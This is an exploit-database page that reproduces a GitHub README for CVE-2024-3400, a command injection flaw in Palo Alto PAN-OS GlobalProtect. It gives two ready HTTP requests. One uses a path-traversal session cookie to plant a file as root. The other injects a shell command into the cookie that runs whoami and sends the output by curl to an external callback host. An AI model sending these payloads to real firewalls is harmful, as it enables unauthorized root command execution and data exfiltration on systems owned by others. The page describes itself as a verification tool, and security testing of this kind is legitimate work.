Sploitus

Exploit for Improper Input Validation in Paloaltonetworks Pan-Os

githubexploit · 2025-01-10

Exploit Code

README43 lines
## https://sploitus.com/exploit?id=EB392FD6-CD1E-591B-B2CF-A92DACBBED60
# CVE-2024-3400 Vulnerability PoC (Verification Tool)

## Vulnerability Description

CVE-2024-3400 is a command injection vulnerability present in the Palo Alto firewall system. Attackers can execute malicious commands on target servers by sending carefully crafted HTTP requests, even gaining root access.

## Steps to Reproduce the Vulnerability

1. Send the following HTTP request:

   ```http
   POST /ssl-vpn/hipreport.esp HTTP/1.1
   Host: 127.0.0.1
   Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
   Connection: close
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 0
   ```

   After sending this request, a file named `hellome1337.txt` will be created on the server, and this file will have root access. When you attempt to access this file, a HTTP status code of 403 (Forbidden) should be returned, instead of 404 (Not Found). Screenshots demonstrate the exploitation process:

   ![image](https://github.com/h4x0r-dz/CVE-2024-3400/assets/26070859/96803de5-1d8c-42ec-b1fc-60e8e4a0a954)

   ![image](https://github.com/h4x0r-dz/CVE-2024-3400/assets/26070859/e579d4a6-11a5-4f7c-a3da-ba7b0cfa8a4d)

2. To exploit this vulnerability and perform command injection, you can send the following HTTP request:

   ```http
   POST /ssl-vpn/hipreport.esp HTTP/1.1
   Host: 127.0.0.1
   Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
   Connection: close
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 0
   ```

   This request will execute the `whoami` command on the server and send the result to the specified remote server (e.g., `xxxxxxxxxxxxxxxxx.oast.fun`).

## Further Reading

- [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis)
- [WatchTowr Lab Analysis](https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/)